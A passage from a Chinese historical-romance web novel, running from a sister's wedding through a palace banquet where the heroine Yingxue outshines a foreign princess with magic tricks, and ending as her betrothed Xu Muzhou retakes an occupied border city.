随即，萧三公子便从怀中掏出一叠厚厚的红包，双手恭敬地捧着走向绿绮。面带微笑，说道：“还请姑娘通融通融。”绿绮接过红包，嘴角微微上扬，眼中闪过一丝得意之色。随后，她挥了挥手，说道：“既然新郎如此有诚意，那这一关便算你们过了。”
听到前方传来的动静，二夫人眼眶中含着热泪，轻柔地把苏秀蓉的红盖头盖上。苏二老爷亦是眼眶通红，满含不舍之情。
苏秀蓉拜别了亲人之后，就听到外面的锣鼓敲得震天响。
随即，就听到司仪那高亢的喊声：“吉时到，请新娘出门！”
苏璟皓稳稳地把苏秀蓉背上了花轿。
随着苏秀蓉的出嫁，映雪的心里顿感空落落的，整个人都无精打采起来。
绿绮瞧着自家姑娘这副模样，心思一转，便提议道：“姑娘，你若觉得无聊，不妨约嘉柔郡主和清平县主一同玩耍呀。”
映雪闻言，瞬间眼神一亮。立刻吩咐绿绮取来笔墨纸砚，而后挥笔写下两封手信，一封致嘉柔郡主，一封予清平县主。
她心中还惦记着打听清平的婚事呢，想着看看自家大哥还有没有希望。
映雪毫不犹豫地将嘉柔和清平约在了云间雅阁。云间雅阁的环境清幽雅致，店内的点心更是美味可口。无疑是最适合约会谈心的好去处了。反正她与许牧舟已经订亲，也用不着避嫌。
翌日，吃了早膳，去荣晖堂向老夫人请安，老夫人神色间似也有些失落，向着映雪叹息道：“你的亲事已然定下，待今年及笄之后，估计这亲事也快了。”
映雪心中明白祖母对自己的不舍，老夫人年纪渐长，愈发渴望看到儿孙满堂的景象。
永安侯府本就子孙不旺，还折损了两人。苏璟皓和苏璟睿平日里又都在书院，如今苏秀蓉出嫁，能常伴在老夫人身边的便只剩下映雪和苏沁雪了。映雪轻轻挽起老夫人的手臂，娇声撒娇道：“我才不要那么早嫁人呢，我还想多陪陪祖母几年呢。”
老夫人被映雪这副模样哄得眉开眼笑，随即嗔笑道：“能再多陪祖母一年，祖母就心满意足了。景阳侯世子是九代单传，景阳侯夫人和老夫人更是盼着你们早日成亲呢。”接着，老夫人又瞥了一眼映雪，说道：“她们对你这般宠溺，你可不要恃宠而骄。”
映雪闻言，眼神倏地一亮，随即提议道：“祖母，要不等明日大姐姐回门后，我们也去明月山庄住几日吧。我长这么大，还从未泡过温泉呢，而且偶尔泡泡温泉对您的身体也有好处。”
老夫人嗔怪道：“胡闹，明月山庄是景阳侯老夫人送给你的，我过去住像什么话。”
映雪却不以为然，说道：“既然送给我了，自然是我想怎么安排都行。大不了，我也约上景阳侯夫人和老夫人一起，也让你们提前熟悉熟悉。”
老夫人摆手道：“以后再说吧。你不是还约了嘉柔郡主和清平县主吗？早点出去吧。”
映雪嬉笑地同老夫人告退，老夫人被映雪这一闹腾，心情也有所好转。待映雪即将走出屋子之时，她突然停下脚步，转过头去，向老夫人喊道：“祖母，你若是得闲，可以教导下谦哥儿，那孩子是个识礼懂事的，祖母定会喜欢。”
老夫人闻言，笑着点头，道：“祖母知道了，你快去吧。”
映雪带着绿绮和竹清上了马车，直奔云间雅阁，待映雪下了马车，踏入雅阁，发现嘉柔和清平已经到了。
不由地有些歉意，道，“刚才府中耽搁一会儿，让你们久等了。”
清平笑道，“我们也才到。”
嘉柔则捂嘴轻笑，打趣道：“我还以为映雪姐姐又要说，你们侯府路程比我们府要远呢。”
映雪面露尴尬，连忙摆手笑道：“哪里会，今日确实是我来迟了。”
待映雪坐下，掌柜亲自送了一壶“峨眉雪芽”过来，还有几份精致无比的点心，每一样皆是映雪的喜好。
嘉柔瞧见，小声嘀咕道：“我怎么觉得这掌柜对映雪格外热情呢。”
清平微微挑眉，若有所思道：“兴许是认识的吧。”说罢，目光投向映雪。
映雪顿时心虚起来，讪讪地笑道：“这是许牧舟的地盘，我之前来过。”
话音刚落，嘉柔眼睛一亮，兴奋之色溢于言表，大声道：“原来是牧舟哥哥的地盘，那我今天可要在这儿吃霸王餐。”清平听了，也忍俊不禁，嘴角微微上扬。
随后映雪微笑着提议道：“今日我们就在这里用膳吧，晚点再让人去琼华阁打包几个菜过来。”嘉柔一听，高兴地连连附和：“上次出来都没在外面用膳，今天就算是天王老子来了，我也要在外面好好用膳。”
话音刚落，就听到窗外的大街上传来一阵异常的热闹声，那声音由远及近，仿佛有什么大事正在发生。
嘉柔不由地苦笑道，“不是吧？我这是什么乌鸦嘴。”
三人皆朝窗外望去。
只见一支浩浩荡荡的队伍正缓缓行来。队伍前方，骑着高头大马的使臣格外引人注目。他身着浅蓝色长袍，长袍的下摆处，用银线绣着连绵不绝的云朵图案，宛如真实的云朵飘浮其上。锦缎腰带束于腰间，上面镶嵌着璀璨的宝石与温润的翡翠，尽显奢华，突显国家的雄厚财富。
其后，整齐的仪仗队威风凛凛，旌旗飘扬。旗面上绣着凌羽国的国徽——一只五彩斑斓的凤凰，周围环绕着祥云。
在队伍中间，有一辆精致的马车尤其引人注目。车身由檀木打造，上面雕刻着精美的花纹，还镶嵌着熠熠生辉的宝石。
车窗垂着淡紫色的纱幔，随风轻轻飘动。
一位身着浅蓝色长裙的公主静静地坐在马车中，头上戴着一顶华丽的王冠，王冠上镶嵌着各种珍贵的宝石。脸上蒙着一层薄薄的面纱，虽看不清面容，但那婀娜的身姿和优雅的气质，让人不禁浮想联翩。
马车周围是一群侍女和侍卫。侍女们
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身着淡粉色的衣裙，手持花篮，篮中装满了鲜艳的花朵。侍卫们身着黑色铠甲，手持长剑，威武不凡。整个使团充满了浓郁的异域风情和神秘的气息，吸引着众多百姓驻足观看，赞叹之声不绝于耳。
清平微微皱眉，沉声道：“这是凌羽国的使团。”
嘉柔亦是满脸好奇，说道：“怎么之前没听父王和大哥提起过呢？而且，这次还有公主随行，是不是要跟大乾联姻？”
映雪闻言，也陷入了沉默。前世，凌羽国是在她出嫁后不多久才来的，并且那时也没有公主随行。没想到这一世变化竟也如此之大。
随即，映雪想到嘉柔上辈子的和亲之事，便微笑着说道：“他们送公主过来联姻确实是好事，如此一来，大乾便不会有公主去和亲了。”嘉柔听了，也连连附和道：“那倒是，谁愿意背井离乡，远嫁他国呢。”
接着又道，“上一辈就静和公主被和亲，估计她这一生也不会有机会再回到大乾了。”
静和公主正是荣太妃所生，在当年皇上还未登基之前，她便远嫁凌羽国和亲。皇上登基之后，念着静和公主的深明大义，对荣太妃也格外厚待了几分。之前荣太妃被牵连到奸细事件当中，正是赤焰国利用了荣太妃的思女心切。
映雪微微蹙着眉头思索道：“不知这凌羽国的公主会挑中哪一位皇子？太子尚无侧妃，三皇子也还未娶亲，其他还有几位适龄的皇子，皆有可能被选中。”
嘉柔撇了撇嘴，不以为然地说道：“管它呢，反正与我们无关。等过两日，皇伯父定然要设宴为公主接风洗尘，到那时自然就知道了。”
映雪心中一想，确实如此，只要不影响战局就好。
凌羽国的使臣已经抵达到京城的消息，也传到了靖宁城。
许牧舟看着手中的秘信，眉头一蹙，心中暗道：凌羽国来大乾的时机实在不对。随即起身，去找了父亲。
景阳侯得知消息后，立刻召集部下商讨战事。
许牧舟提起凌羽国此次的异常举动，担心对方图谋不轨。
沐将军却不赞同许牧舟的看法，道：“逸澜多虑了，凌羽国与大乾一向交好，总不可能联合赤焰来算计大乾吧。此次前来，或许是看到大乾国势强盛，想通过和亲进一步加强两国之间的联系。而且，若凌羽国真有二心，也断不会如此大张旗鼓地派使团前来，这不是明摆着引起大乾的警惕吗？”众人听了沐将军的分析，觉得也有几分道理，一时间，讨论声再次响起。
许牧舟暗自思忖，看来只能让暗卫多多关注京城之事了。好在给那丫头身边多留了两个暗卫，想来她的安全问题不大。
随后，景阳侯又问起赤焰国的情况。沐将军呸了一声，怒不可遏道：“那群龟孙子，简直有堕赤焰国的威名。他们总是不断地试探我们，我们这边一旦发动攻击，他们就如同耗子见了猫一般，迅速躲起来，根本不敢正面迎战。实在是让人烦不胜烦。他们这般行径，分明是想消耗我们的耐心，当真是阴险狡诈到了极致。”
许牧舟闻言，微微蹙起眉头，沉声道：“这确实不像是赤焰国的作风，可能有诈。”
话音刚落，就听到门外传来侍卫惊慌失措的呼喊声：“不好了！不好了！”
79. 突发
许牧舟神色一凛，迅速朝门外望去。只见侍卫踉踉跄跄地跑进屋内，满脸焦急与惊慌，急切道：“大将军，不好了！磐安城沦陷了。”
景阳侯脸色铁青，犹如乌云密布，沉声道：“究竟是怎么回事？之前不是已经派了人过去提醒吗？”
靖宁城因许牧舟的到来，以及景阳侯的苏醒，已然变得固若金汤。
许牧舟担忧赤焰会另辟蹊径，从别的地方试图攻入大乾。于是，他从舆图上找出，除了靖宁城之外，还有一条路径，那便是从悬崖下面攀爬翻上去，能够抵达磐安城境内。虽然其他将军觉得赤焰不可能会采用这种方法，但许牧舟经历了映雪跳崖之事后，不得不防。
景阳侯便派人前往磐安城通知，让他们派重兵把守崖顶，以防万一。
然而，没想到磐安城的太守根本就没有重视，偶尔才让小兵过去巡视一番。当赤焰攻入太守府时，太守还在床上与小妾嬉戏玩闹，毫无防备，当场便被赤焰将领割下了脑袋，鲜血溅了那小妾一脸，直接将其吓疯了。
沐将军着实被气得不行，怒声道：“难怪赤焰军中最近行事如此古怪，原来是为了声东击西。他们故意不断地骚扰我们，目的就是吸引我们的注意力，好趁机从悬崖那条险径突袭磐安城。他们这一招实在是太阴险狡诈了。”说罢，沐将军又深感愧疚，叹道：“唉，亏我之前还觉得逸澜多心。如今看来，是我想得太简单了。”
许牧舟见沐将军如此，忙宽慰道：“沐叔叔不必愧疚，此事并非您之过，只能怪磐安城的太守太过无能。”随即，许牧舟转向景阳侯，郑重道：“父亲，赤焰军既已占了磐安城，形势危急，我愿带人前往磐安城，夺回失地。”
景阳侯神色凝重，因无更合适人选，只能点头答应许牧舟去磐安城。
待其他将军离去，景阳侯看着许牧舟，眼中满是欣慰与自豪之色。缓缓开口道：“舟儿，为父深知你向来聪慧过人，甚至比为父先前认为的还要优秀得多。此次你前往磐安城，为父确实也没有什么特别要交待你的了。不过，你定要记住，战场上的局势瞬息万变，切不可有丝毫的掉以轻心。凡事都要多留个心眼，懂得随机应变，务必确保自身安全。”
许牧舟微微挑眉，不羁地说道：“老头子，你何时也变得这么煽情了。放心吧，我儿子都还没生呢，自然不会以身犯险。”
景阳侯听了许牧舟这话，先是微微一愣，随后笑骂道：“你这臭小子，等你回了京，为父定让苏家那丫头好好治治你。”
许牧舟撇撇嘴，心里暗衬，“哼，小丫头才不会听你的。”
许牧舟亲自去了军营，挑了一些兵卒，大概三十几人，随他前往磐安城。
此前随使臣进京的凌羽公主，是凌羽国的十三公主芸香公主，传闻芸香公主生来就带异香，深受皇上宠爱。芸香公主舞姿翩若惊鸿，婉若游龙，可谓举世闻名。各国之间皆有传闻，只要有幸目睹芸香公主一舞，便觉此生无憾。
映雪心中只觉得不对劲，若真是受宠的芸香公主，想来凌羽国的皇上不可能会送她来和亲。
待回到侯府，刚刚下了马车，映雪便瞧见一位妇人从侧门走出，其模样恰似媒人。映雪转头询问身边的绿绮：“绿绮，你看那是不是媒人？”绿绮顺着映雪所指的方向望去，只见那妇人身着色彩鲜艳至极的衣裳，大红与大绿的布料相互映衬，格外惹眼。头上裹着一块花头巾，巾角处还缀着几颗彩色的珠子，随着她的走动微微晃动着。绿绮仔细打量一番后，坚定地说道：“姑娘，确实是媒人无疑。在这京城之中，媒人的装扮皆是如此。”
映雪心中一惊，以为老夫人要替苏璟皓说亲，急忙朝着荣晖堂奔去。
一踏入荣晖堂，映雪便看见老夫人一脸笑意地和身边的秦嬷嬷在说着话。
映雪急声呼道：“祖母。”
老夫人见映雪满脸急色，心中不由地咯噔一下，还以为出了什么大事，连忙问道：“怎么了？”
映雪急切道：“我刚才看见媒人从府里出去，祖母是不是要替大哥说亲？不行。”
老夫人这才松了一口气，脸上露出笑容，说道：“媒人是来替你父亲说亲的。”随即，老夫人语气一变，沉声道：“为何不能替你大哥说亲？是不是你大哥有了喜欢的姑娘？”
映雪刚刚松了的一口气又提了上来，讪讪道：“没有，不是，是康郡王府正在为清平相看。我想着大哥与清平也是门当户对，年岁相当，便想让清平当我的嫂子。”
老夫人闻言，用手指轻轻撮了撮映雪的额头，笑道：“真是小姑娘家的想法，你以为和哪个姑娘关系好，就想让她当你的嫂子呀？若真成了你嫂子，以后万一他们夫妻不和，说不定还会牵连到你呢。”随即，老夫人停顿了一下，若有所思道：“不过清平县主确实是个好姑娘，温婉聪慧，与你大哥的性子也刚好互补。你大哥若能娶她，那可真是他的福气。”
映雪听着，也连忙点头，说道：“祖母，您也觉得可行吧？那我们要不要也派个媒人去康郡王府试探一下？”
老夫人看了一眼映雪，平静道：“你大哥的亲事先不急，先看你父亲的亲事。”
映雪问道：“媒人给父亲说的是哪家？”
老夫人轻轻叹了声气，缓缓道：“是忠远伯府的嫡次女。那姑娘着实命运多舛，原本早年就订下了亲事。谁曾想，在成婚前夕，先是男方有亲人过世，得守孝三年。好不容易刚出孝，那姑娘家中又有亲人离世，她也不得不再次守孝三年。这亲事便生生地给耽搁了下来。听媒婆所言，那姑娘是个知书达礼的好女子，只可惜如今已二十一岁了。在这京城之中，这般年纪着实难再找到合适的人家，媒婆思来想去，便想到了你父亲。”
忠远伯府的嫡次女，映雪隐约有些印象。前世，
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她也嫁了人，所嫁之人正是景阳侯门下的一位鳏夫将军。且她也从未听说过那姑娘有什么不好的传言。
随即便问道：“那祖母要去替父亲相看这位姑娘吗？”
老夫人微微点头，说道：“你二婶毕竟不能一直替你父亲管家，就算你大哥娶了亲，也不方便管理你父亲房里的事务。还是替你父亲娶个正儿八经的媳妇更为合适。”
映雪自然不会有任何意见。那姑娘比她大了许多，想来相处起来也不会那么令人膈应。于是，笑道：“祖母，我和大哥都不会有意见的。只要父亲开心，我们都愿意。”
老夫人见映雪这般懂事明理，心中顿感欣慰。
第二日，映雪就收到了皇宫的请贴，皇上给芸香公主接风洗尘，邀请三品及以上的官员带家属参加晚宴。
苏沁雪身份尴尬，没去宫宴。
用过午膳，映雪便在贵妃塌上休息了大半个时辰。
醒来吃了半碗燕窝粥和几块点心，宫宴上的膳食向来是中看不中用，映雪自然不会跟自己有肚子过不去，早早地便垫了垫肚子，以免在宫宴上饿着。
然后梳妆打扮，为晚上的宫宴做准备。
映雪这还是第一次以郡主的身份出席宫宴，心中自然多了几分上心。
一身藕粉罗裙，裙摆上绣着桃花，身披同色轻烟纱，肩似削成腰如束素，肌若白雪气若幽兰。
柔顺如丝绢般的长发，简约地绾个灵蛇髻，几枚璀璨夺目的宝石随意点缀发间，使乌黑的秀发，更显亮丽光泽。
头上斜插一支白玉蝴蝶簪，缀下长长的银丝坠珠流苏。
美眸顾盼间神采飞扬，朱唇轻启时露出优雅浅笑，一颦一笑皆如画卷般动人。
一身打扮走进荣晖堂，老夫人顿时一亮，道，“小姑娘家的，就该这样打扮，既不失庄重，又尽显少女娇俏。”
映雪也是一脸笑意，颇为自豪地自夸道：“主要是我生得好看，如今稍微这么一打扮，自然更是漂亮非凡啦。”
老夫人闻言，顿时笑出了声，随后道：“你倒是一点儿也不谦虚。今晚的宫宴，你定能大放光彩。不过到了宫里，可千万不能这般肆意妄为地自夸，一定要谨言慎行，莫失了礼数。”
映雪调皮地眨了眨眼睛，说道：“才不会呢，我可是要为咱们侯府争光的。”说罢，身姿轻盈地就要朝门外走去，那裙摆微微飘动，似一朵娇艳的花朵即将绽放。
映雪带着竹清和竹韵上马车，永安侯府离宫门有段距离。
下车后，宫门前热闹非凡，侍卫核查身份，见映雪时热情几分，未查牌子便让她入了宫门。
映雪入宫，按理要去齐贵妃宫中请安，齐贵妃持撑宫印，虽无皇后之名，但也是后宫中名副其实的女主人。映雪自知齐贵妃对她不会有好脸色，着实不想去自讨没趣，便刻意放慢了脚步，犹如蜗牛般缓慢蠕动着。
80. 比试
没走几步，身后便传来嘉柔的调侃声：“映雪姐姐，八十岁的老婆婆怕是都比你的腿脚利索呢。”
映雪闻声转头望去，只见嘉柔郡主和豫亲王世子正朝她缓缓走来。映雪赶忙朝两人微微欠身，打了招呼。
豫亲王世子轻笑道：“苏三姑娘是不想去锦澜宫吧？”
映雪微微睁大眼睛，神色间似在说“你怎么知道”，随即不自然地笑道：“我之前曾得罪过齐贵妃。”
豫亲王世子自然也有所耳闻，温和地笑道：“宫宴快开始了，锦澜宫多你们两个不多，少你们两个也不少，一会儿直接进宴会便是了。”嘉柔也在一旁附和道：“就是嘛，再说了，我还可以带你去太后宫里呢，太后前些日子身体不好，一直念叨着想要见你呢！”
映雪轻松地笑道：“下次我再去向太后请安。”
因男女是分开入席的，豫亲王世子还需要去向皇上请安，便朝映雪笑道：“那我就先过去了，你和嘉柔相互照应着。”
映雪轻轻点了点头。豫亲王世子又朝嘉柔叮嘱道：“你可别带着苏三姑娘乱跑，更不能惹是生非，知道吗？”
嘉柔闻言，嘟着嘴，满脸不乐意道：“谁惹事生非啦，大哥，你快走吧。”
豫亲王世子无奈地摇摇头，向映雪点了点头，便转身离去。
嘉柔立马拉住映雪的手，兴奋地说道：“走，我带你去看奇花，还是我偶然发现的呢，一般人肯定找不到。”
说罢，便拉着映雪的手朝宫内快步走去，映雪也只好跟上。待越走越荒芜，映雪不禁皱眉道：“这是哪里？怎么会如此荒凉。”
嘉柔轻声说道：“这是冷宫啊，自然荒凉。”随即松开映雪的手，朝不远处的假山跑去，突然喊道：“映雪姐姐，你快过来，它正开着花呢。”
映雪朝假山走去，瞧见嘉柔正准备伸手去碰触那花，立马急声阻止道：“别碰，有毒。”
嘉柔被映雪这突然一声给吓住了，差点跌倒在地，幸好一旁的丫鬟眼疾手快，及时扶住了嘉柔。
嘉柔扭头朝映雪望去，疑惑道：“映雪姐姐，你莫不是诓我吧，皇宫里的花怎么会有毒。”
映雪疾步走了过去，细细打量眼前的奇花。只见那花叶片细长如丝，呈现出神秘的暗紫色，上面有着若隐若现的银色纹路，花朵形似铃铛，颜色是深邃的幽蓝色，散发着一种奇异香气。
映雪沉声道：“应该是幽影兰，其汁液含有剧毒，若是不小心沾染，轻则皮肤红肿、瘙痒，重则溃烂。”
嘉柔想到自己刚才准备伸手去碰，顿时惊恐不已，随即问道：“可是皇宫怎么会有这种毒花呢。”
映雪皱眉道：“自是为了害人，用于后宫争宠。”
嘉柔闻言，气恨道：“真是下三烂的手段。那现在怎么办？我们要禀告皇伯父吗？”
映雪陷入沉思，还没想出解决办法，竹韵便提醒道：“姑娘，宫宴的时辰快到了。”
映雪便对嘉柔说道：“你先别管，也别让人知道我们来过这里，等想到妥善办法再处理。”
嘉柔也知道事情的轻重，点了点头。
待映雪和嘉柔两人步入宴会之时，里面已然坐满了人。映雪因着郡主身份，位置较为靠前，正与嘉柔相邻而坐。景阳侯夫人正巧在映雪前方，瞧见映雪过来，不由夸赞映雪今日的装扮甚是漂亮，直让映雪羞红了脸。
嘉柔的视线恰与对面的豫亲王世子对上，顿时心虚不已，忙拉着映雪赶紧坐了下来，豫亲王世子微微皱起眉头。
随即，就听到门外传来一道公鸭嗓音，“皇上驾到。”
映雪抬头望去，便见不远处明黄色常服的皇上正朝这边走来，身边还跟着盛装打扮，雍容华贵的齐贵妃。
映雪随着众人，起身行礼。
待皇上说了平身，才重新落座。
映雪瞧见了对面的太子、三皇子等人。太子的气色红润了许多，而三皇子依旧一脸阴沉。映雪撇撇嘴，心中暗想：“幸好大乾轮不到三皇子上位，不然朝臣们天天对着这样一位主子，兴许要短命几岁呢。”
皇上也瞧见了太子的良好气色，高兴道：“太子气色红润，看来身子已然大好，朕心甚慰。”
太子起身，恭敬道：“多谢父皇关怀，多亏了慧敏郡主。”
皇上龙心大悦，朝映雪的位置看去，笑道：“慧敏郡主，想要什么赏赐？”
映雪刚要起身说话，皇上身边的齐贵妃便道：“皇上，凌羽公主要到了，慧敏郡主的赏赐可以宴后再说。”皇上点头，朝映雪摆手，示意她先坐下，映雪心底微微松了口气。
门外又有公公扯着嗓子喊道，“凌羽芸香公主到，凌羽使臣到。”
众人的目光纷纷投向宫殿入口处。只见一位身姿婀娜的女子缓缓走来。
她身着一袭华丽的紫色宫装，那衣裳的面料在灯光下闪烁着细腻的光泽，上面用金线绣着精美的花纹，栩栩如生。
如瀑布般的长发垂落在肩头，一部分被精心盘起，点缀着璀璨的宝石发饰，随着她的走动轻轻摇曳，闪烁着神秘而迷人的光芒。
面容姣好，肌肤如雪，眉如远黛，眼若秋水，长长的睫毛微微颤动，犹如蝴蝶的翅膀，身姿轻盈，仿佛仙女下凡。
随着她的靠近，一股若有若无的幽香悄然弥漫开来。
她优雅从容地走到宫殿中央，向皇上微微欠身，声音清脆悦耳：“凌羽国芸香，拜见陛下。愿陛下龙体安康，大乾国运昌盛。”
后面跟着的使臣被芸香公主衬得暗淡无光。
皇上免礼。
齐贵妃惊艳道，“早闻芸香公主国色天香，今日一见，果真名不虚传。”
芸香公主嘴角上扬，大大方方谢了齐贵妃夸赞。
这时，凌羽国使臣起身向前一步，恭敬地向皇上行礼道：“陛下，吾国芸香公主自幼精通音律，擅长舞蹈。今日得见陛下天威，公主心中欢喜，特想为陛下献上一舞，以表吾国对大乾的敬意与友好之情。”
皇上放声大笑，道：“传闻芸香公主一舞倾城，能得公主献舞，是朕的福气。”
宫殿之中，众人翘首以盼。
随着悠扬的乐声缓缓响起，芸香公主身着一袭淡蓝色的纱裙，轻盈地步入殿中。
身姿宛如一朵盛开的莲花，裙摆随着她的步伐微微飘动，仿佛荡漾在水面的涟漪。
音乐渐渐激昂，芸香公主开始舞动起来。脚步轻盈，仿佛踏在水面上一般，没有一丝声响。每一个动作都流畅自然，如
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同水波的起伏。时而旋转，裙摆飞扬，如同一朵绽放的水花；时而轻盈跳跃，如同水面上的蜻蜓点水。
众人都被公主的舞姿所吸引，沉浸在这美妙的舞蹈之中。
映雪和嘉柔也看得入了迷，嘉柔低声对映雪说道：“映雪姐姐，这芸香公主的凌波舞太美了，我从未见过如此优美的舞蹈。”映雪微微点头，眼中也满是赞叹。
音乐渐渐平息，舞蹈结束。
芸香公主再次给皇上行礼。
这时，大家才从舞蹈中回过神来。
皇上龙颜大悦，笑道：“芸香公主的凌波舞果然名不虚传，此舞只应天上有，人间能得几回观。”
芸香公主被夸赞之后，脸上却未见丝毫红晕，旋即谦逊地说道：“皇上谬赞了。久闻大乾贵女多才多艺，今日芸香献丑一舞，心中着实好奇大乾贵女们的非凡风采，恳请皇上成全。”此语一出，明摆着是以一己之力向大乾所有贵女发起挑战。
映雪微微皱眉，心中暗忖：这可不像是怀着友好目的而来。
此时，在场的贵女们皆鸦雀无声。谁敢自不量力地去与芸香公主比舞呢？那岂不是自找丢人现眼。
皇上高坐在龙椅之上，眉头紧紧皱起。
如今怎的都不敢吱声了？以往宴会，这些贵女们不是争先恐后地大出风头吗？
皇上将目光投向齐贵妃，齐贵妃莞尔一笑，朝映雪的位置望去。映雪见状，赶忙缩着头，心中涌起一种不好的预感。
随即，便听到齐贵妃娇笑道：“陛下，臣妾瞧着咱们大乾的贵女们个个都是才情出众。尤其是慧敏郡主，更是才貌双全。今日芸香公主既有此雅兴，不如就让慧敏郡主代表咱们大乾的贵女们与公主比试一番，也好让公主见识见识咱们大乾贵女的卓越风采。”
皇上闻言，略一思索，也觉得映雪最为合适，便笑着点头表示赞同。
嘉柔心中焦急，忍不住为映雪捏了一把汗，心中更是把齐贵妃骂了个狗血喷头。
对齐贵妃的提议和皇上的赞同，映雪缓缓站起身来。眼神沉静，微微欠身道：“陛下，贵妃娘娘谬赞了。芸香公主天人舞姿，臣女自愧不如。若是芸香公主不嫌弃的话，臣女可以表演个魔术，博众人一乐。
皇上饶有兴致地看着映雪，说道：“哦？你且表演试试。”
映雪站在殿中，微微浅笑，然后伸出双手向众人示意手中空无一物。接着，她从旁边的托盘上取过一块丝巾，轻轻一抖，丝巾瞬间变成了一只色彩斑斓的小鸟。小鸟扑棱着翅膀，仿佛活物一般，在殿中盘旋了一圈后又飞回映雪的手中，变回了丝巾。
众人看得目瞪口呆，纷纷发出惊叹之声。映雪并不停歇，又拿出一个小巧的盒子，打开盒子展示给大家看，里面同样空无一物。她轻轻合上盒子，口中念念有词，再次打开时，盒子里竟然出现了一朵娇艳欲滴的鲜花。
映雪将鲜花献给皇上，说道：“愿陛下如这鲜花一般，青春永驻，大乾国运昌盛。”皇上龙颜大悦，连连称赞。
芸香公主也被映雪的表演给吸引住，正想向映雪请教。
就在此时，凌羽国的使臣突然疾步冲了过来，竟朝着映雪直直下跪，满脸激动之色，高声道：“天女，您真是天女啊！
81. 扭转
映雪不禁愣住，殿内众人也随之议论纷纷。皇上神色一凛，沉声道：“使臣这是何意？缘何称慧敏郡主为天女？”
使臣却反问道：“敢问陛下，慧敏郡主是否医术高明，而且这神奇医术仿若突然就有了？”
皇上皱着眉头说道：“慧敏郡主的医术乃是得自医仙鬼谷子，并非凭空突然出现的。”
使臣却直截了当地说道：“不，慧敏郡主的医术必定是天赐。”说罢，目光朝映雪望了过去，皇上也紧紧地盯着映雪。映雪深吸一口气，缓缓道：“臣女的医术虽是突然开窍，但确实是得一位老爷爷指点。”
皇上点了点头，朝着使臣问道：“使臣此次前来我大乾，所为何事？”
使臣听闻此言，赶忙伏地不起，语气急切地说道：“陛下容禀，我凌羽皇室骤然被诅咒所困。这一年来，皇室所诞生的婴儿皆有缺陷。我国国师曾于夜中观测天象，称大乾有天女降世，她可化解此诅咒。今日见慧敏郡主表演这神奇魔术，况且郡主又拥有医术，与国师所预言的天女之能极为相似。”
使臣继而说道：“陛下，恳请您准许慧敏郡主随我等前往凌羽国，化解我国皇室的诅咒。我凌羽国上下必定感恩戴德，永世铭记大乾的恩德。”
映雪听了使臣的话，心中暗自猜测凌羽皇室所遭受的诅咒，或许和上次太子身中天石之毒的情况相同。
皇上闻听此言，脸色瞬间变得十分难看，显然也想起了太子之前中毒之事。过了片刻，皇上才缓缓沉声道：“若慧敏郡主当真如贵国国师所言是天女，此事也需从长计议。今晚设宴是为你们接风洗尘，其他事情等宴会之后再行商议。”
说罢，皇上轻轻挥了挥手，示意使臣退下。
紧接着，宫女们如同游鱼一般鱼贯而入，她们身姿优雅，手中端着精美的托盘，而后将美味佳肴一一摆放在众人的桌案之上。
映雪回到座位上，嘉柔满是好奇地追问道：“映雪姐姐，你方才表演的魔术实在是太神奇了，到底是怎么做到的呀？”
映雪面带笑容地解释道：“都是些障眼法罢了，实际上都藏着机关呢，晚点我再教你。”
嘉柔高兴地点了点头，可随即又满面愁容地说道：“要是皇伯父真的同意你去凌羽国可怎么办呢？”
映雪轻轻皱起眉头，说道：“到时候再看吧。若是真的需要我前往凌羽国，那我也可顺便去领略一番凌羽国的风光。”
只怕赤焰还有别的阴谋，这凌羽皇室的诅咒想来也是赤焰所为。
心中藏着事情，这宫宴也变得索然无味了。
许牧舟仅率三十来号人，悄悄摸到磐安城下。此时磐安城被赤焰掌控，城墙上赤焰士兵往来巡逻，戒备极其森严。
许牧舟从怀中取出磐安城的舆图，目光扫视间，见舆图上有一条河流从城外蜿蜒通至城内，心中顿时有了计较。他朝着底下众人问道：“你们之中可有擅长泅水之人？”
话落，当即有十来个人站了出来，朗声道：“小将军，我们会泅水。”许牧舟把这十二人唤至一旁，细细安排了任务。士兵们听闻许牧舟的计谋，个个面露喜色，齐声应道：“保证完成任务。”
余下的士兵，则被许牧舟安排去捕捉飞鸟并收集枯枝败叶，再用细藤将枯枝与飞鸟绑缚在一处，于鸟腿上系上易燃的布条。
夜幕缓缓降临。负责泅水的士兵们小心翼翼地潜入水中，如同灵动的鱼儿般悄无声息地朝着城墙下的排水口游去。
许牧舟与其他士兵分成两队。一队人悄悄摸到城角一处防守相对薄弱之地，屏息凝神，静静等待时机；另一队人则带着绑着枯枝的飞鸟，迂回到城的另一侧。
许牧舟一声令下，带着飞鸟的士兵们迅速点燃鸟腿上的布条，而后放飞飞鸟。飞鸟受惊，纷纷朝着磐安城疾飞而去。城墙上的赤焰士兵瞧见一群带着火光的不明物体飞来，顿时一阵慌乱，扯着嗓子大声呼喊起来。
就在赤焰士兵的注意力皆被飞鸟吸引的刹那，许牧舟率领小队成员如猎豹般迅速冲向城墙根。他们借助特制的工具，悄无声息地开始攀爬城墙。
许牧舟率先翻上城墙，手中长刀一挥，眨眼间便解决了尚在惊慌中的赤焰士兵。其余士兵也相继登上城墙，干净利落地解决掉附近的赤焰士兵，而后按照计划分成小组。一组径直奔城内的太守府而去，另一组则去控制城墙上的关键位置。
泅水进城的士兵故意在城中制造混乱，成功引开了守在太守府周围的士兵。
许牧舟疾奔至太守府，从后院悄然潜入。刚一踏入后院，便听到一阵女子的啜泣声和男子张狂的□□。心中猛地一紧，顺着声音传来的方向潜行过去。
只见在一处幽静的厢房中，烛光幽幽摇曳。一名满脸横肉的赤焰将领正将一名衣衫褴褛的大乾民女按在桌上，民女满脸惊恐与绝望，泪水不断滑落，而那赤焰将领眼中透着邪恶的欲念，正肆意撕扯着民女仅剩的衣物。
许牧舟见状顿时怒火中烧，双目圆睁，一个箭步冲进屋内。赤焰将领被突然闯入的许牧舟惊得一愣，还未来得及有所反应，许牧舟的剑刃已划过他的脖颈，一颗头颅“咕噜噜”地滚落在地，鲜血如泉涌，喷溅在墙上、地上，也溅到那民女苍白的脸上。
头颅落地的声响和民女的哭声瞬间打破了寂静，这动静自然引起了附近赤焰军的警觉。不多时，一阵杂乱的脚步声传来，一群手持兵器的赤焰军凶神恶煞地朝着厢房奔涌而来。
许牧舟手中滴血的剑在烛光映照下散发着凛冽的寒光。赤焰军见状，当即朝着许牧舟直扑过去，一时间刀光剑影交错纵横。恰在此时，暗卫赶到。
双方瞬间陷入激烈的厮杀，一番激战过后，赤焰军被尽数剿灭，一个不留。
